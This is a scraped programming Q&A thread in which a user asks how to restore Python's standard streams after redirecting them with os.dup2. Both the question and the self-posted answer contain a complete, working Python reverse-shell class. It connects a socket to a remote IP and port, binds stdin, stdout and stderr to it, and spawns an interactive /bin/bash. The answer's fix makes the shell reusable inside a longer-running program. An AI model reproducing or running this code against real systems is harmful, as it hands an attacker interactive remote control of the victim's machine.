Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Redirecting standard out/in/err back after os.dup2()

I have the following code which sends a reverse shell to a remote listening port. It does this by using os.dup2() function call to redirect standard out/in/err to the socket file descriptor. According to the Python documentation the os.dup2() function will destroy the old file descriptor and redirect it to the new one. Since I want to eventually redirect back to normal standard out/in/err I made copies of the descriptor. After the /bin/bash shell is killed and the socket is closed the main loop that calls this class continues, but standard out/in/err do not get redirected. How can I successfully redirect back to normal, I.E how do I make the print statement at the end of this program display text?

 class ReverseShell:
            def __init__(self, ip, port=9002):
                    self.ip = ip
                    self.port = port

            def start(self):
                    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                    #Save previous standard std and descriptors
                    prevOutFd = os.dup(sys.stdout.fileno())
                    prevOut = sys.stdout
                    prevInFd = os.dup(sys.stdin.fileno())
                    prevIn = sys.stdin
                    prevErrFd = os.dup(sys.stderr.fileno())
                    prevErr = sys.stderr
                    #Open socket
                    sock.connect((self.ip,self.port))
                    #Redirect standard in, out, and error
                    os.dup2(sock.fileno(),0)
                    os.dup2(sock.fileno(),1)
                    os.dup2(sock.fileno(),2)
                    #Pass the shell
                    subprocess.call(["/bin/bash","-i"])
                    #Kill the socket
                    sock.shutdown(socket.SHUT_RDWR)
                    sock.close()
                    #Restore standard in, out, and error
                    os.dup2(prevOutFd, prevOut)
                    sys.stdout = prevOut
                    os.dup2(prevInFd, prevIn)
                    sys.stdin = prevIn
                    os.dup2(prevErrFd, prevErr)
                    sys.stderr = prevErr
                    print "This should print but it does not"
like image 857
JaminB Avatar asked Oct 27 '25 14:10

JaminB


1 Answers

After much browsing I finally found a solution that works.

class ReverseShell:
    def __init__(self, ip, port=9002):
            self.ip = ip
            self.port = port

    def start(self):
            sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            #Save previous standard std and descriptors
            prevOutFd = os.dup(1)
            prevInFd = os.dup(0)
            prevErrFd = os.dup(2)
            #Open socket
            sock.connect((self.ip,self.port))
            #Redirect standard in, out, and error
            os.dup2(sock.fileno(),0)
            os.dup2(sock.fileno(),1)
            os.dup2(sock.fileno(),2)
            #Pass the shell
            subprocess.call(["/bin/bash","-i"])
            #Kill the socket
            sock.shutdown(socket.SHUT_RDWR)
            sock.close()
            #Restore standard in, out, and error
            os.dup2(prevOutFd, 1)
            os.close(prevOutFd)
            os.dup2(prevInFd, 0)
            os.close(prevInFd)
            os.dup2(prevErrFd,2)
            os.close(prevErrFd)
like image 68
JaminB Avatar answered Oct 29 '25 03:10

JaminB



Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!